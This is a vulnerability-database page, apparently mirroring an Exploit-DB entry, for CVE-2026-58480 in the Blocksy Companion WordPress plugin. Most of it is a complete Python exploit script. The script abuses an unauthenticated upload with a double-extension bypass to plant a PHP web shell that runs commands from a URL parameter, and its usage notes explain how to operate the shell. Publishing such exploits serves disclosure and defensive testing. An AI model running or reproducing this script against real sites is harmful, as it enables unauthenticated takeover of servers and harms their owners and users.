Lucene search
+L

Blocksy Companion 2.1.46 - RCE

πŸ—“οΈΒ 11 Aug 2026Β 00:00:00Reported byΒ banyamerTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 45Β Views

Unauthenticated RCE in Blocksy Companion 2.1.46 via double-extension bypass in save_attachments upload.

Related
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-58480
26 Jul 202608:59
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-58480
26 Jul 202608:59
–githubexploit
attackerkb
attackerkb
CVE-2026-58480
8 Jul 202613:05
–attackerkb
circl
Circl
CVE-2026-58480
8 Jul 202613:30
–circl
cve
CVE
CVE-2026-58480
8 Jul 202613:05
–cve
cvelist
Cvelist
CVE-2026-58480 Blocksy Companion Pro < 2.1.47 Unauthenticated File Upload via save_attachments
8 Jul 202613:05
–cvelist
euvd
EUVD
EUVD-2026-42233
8 Jul 202613:05
–euvd
kitploit
Kitploit
CVE-2026-58480
28 Sep 202614:02
–kitploit
nvd
NVD
CVE-2026-58480
8 Jul 202614:17
–nvd
packetstorm
Packet Storm
Blocksy Companion 2.1.46 Shell Upload
11 Aug 202600:00
–packetstorm
Rows per page
#!/usr/bin/env python3
# Exploit Title:        Blocksy Companion 2.1.46 - RCE
# CVE:                  CVE-2026-58480
# Date:                 2026-07-13
# Exploit Author:       Mohammed Idrees Banyamer
# Author Country:       Jordan
# Instagram:            @banyamer_security
# Author GitHub:        https://github.com/mbanyamer
# Author Blog  :        https://banyamersecurity.com/blog/
# Vendor Homepage:      https://creativethemes.com
# Software Link:        https://wordpress.org/plugins/blocksy-companion/
# Affected:             Blocksy Companion <= 2.1.46 (Pro with Advanced Reviews + Custom Fonts)
# Tested on:            WordPress + Blocksy Companion 2.1.46
# Category:             WebApps
# Platform:             PHP
# Exploit Type:         Remote Code Execution (Unauthenticated)
# CVSS:                 9.8 (Critical)
# Description:          Unauthenticated arbitrary file upload via blc-review-images[] parameter in save_attachments.
#                       Double-extension bypass (.woff2.php) due to strpos() check in Custom Fonts extension.
# Fixed in:             2.1.47
# Usage:
#   python3 exploit.py <target_url>
#
# Examples:
#   python3 exploit.py http://target.com
#
# Notes:
#   β€’ Requires Advanced Reviews and Custom Fonts extensions enabled.
#   β€’ Uploaded shell lands in wp-content/uploads/ (check response for exact path).
#
# How to Use
#
# Step 1:
#   Run the script with target URL.
#
# Step 2:
#   Use the generated shell URL with ?cmd=command (e.g. ?cmd=id)

import requests
import sys

def banner():
    print(r"""
β•”β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ•—β–ˆβ–ˆβ•—   β–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ•—   β–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β•—
β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•— β–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ–ˆβ–ˆβ•— β–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•β•β•β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘
β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ•— β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•”β• β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β–ˆβ–ˆβ–ˆβ–ˆβ•”β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—  β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•
β•‘β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β•šβ–ˆβ–ˆβ•”β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘β•šβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•”β•β•β•  β–ˆβ–ˆβ•”β•β•β–ˆβ–ˆβ•—
β•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•”β•β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ–ˆβ–ˆβ–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘   β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘β–ˆβ–ˆβ•‘ β•šβ•β• β–ˆβ–ˆβ•‘β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ•—β–ˆβ–ˆβ•‘  β–ˆβ–ˆβ•‘
β•šβ•β•β•β•β•β• β•šβ•β•  β•šβ•β•β•šβ•β•  β•šβ•β•β•β•   β•šβ•β•   β•šβ•β•  β•šβ•β•β•šβ•β•     β•šβ•β•β•šβ•β•β•β•β•β•β•β•šβ•β•  β•šβ•β•
        ╔═╗ Banyamer Security ╔═╗
""")

if len(sys.argv) < 2:
    banner()
    print("Usage: python3 exploit.py <http://target.com>")
    sys.exit(1)

banner()

target = sys.argv[1].rstrip('/')
shell_name = "poc.woff2.php"
payload = """<?php
if(isset($_GET['cmd'])) {
    system($_GET['cmd']);
    exit;
}
echo 'Blocksy RCE PoC - CVE-2026-58480 | @banyamer_security';
?>
"""

files = {
    'blc-review-images[]': (shell_name, payload, 'application/octet-stream')
}

data = {
    'action': 'blc_save_review_attachments'
}

print("[+] Sending unauthenticated file upload...")
try:
    r = requests.post(f"{target}/wp-admin/admin-ajax.php", files=files, data=data, timeout=15)
    print(f"Status: {r.status_code}")
    print(r.text[:600])
    print("\n[+] If successful, check wp-content/uploads/ for the shell.")
    print(f"[+] Example: {target}/wp-content/uploads/YEAR/MONTH/{shell_name}?cmd=id")
except Exception as e:
    print(f"[-] Error: {e}")

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Aug 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 49.2
CVSS 3.19.8
EPSS0.03572
SSVC
45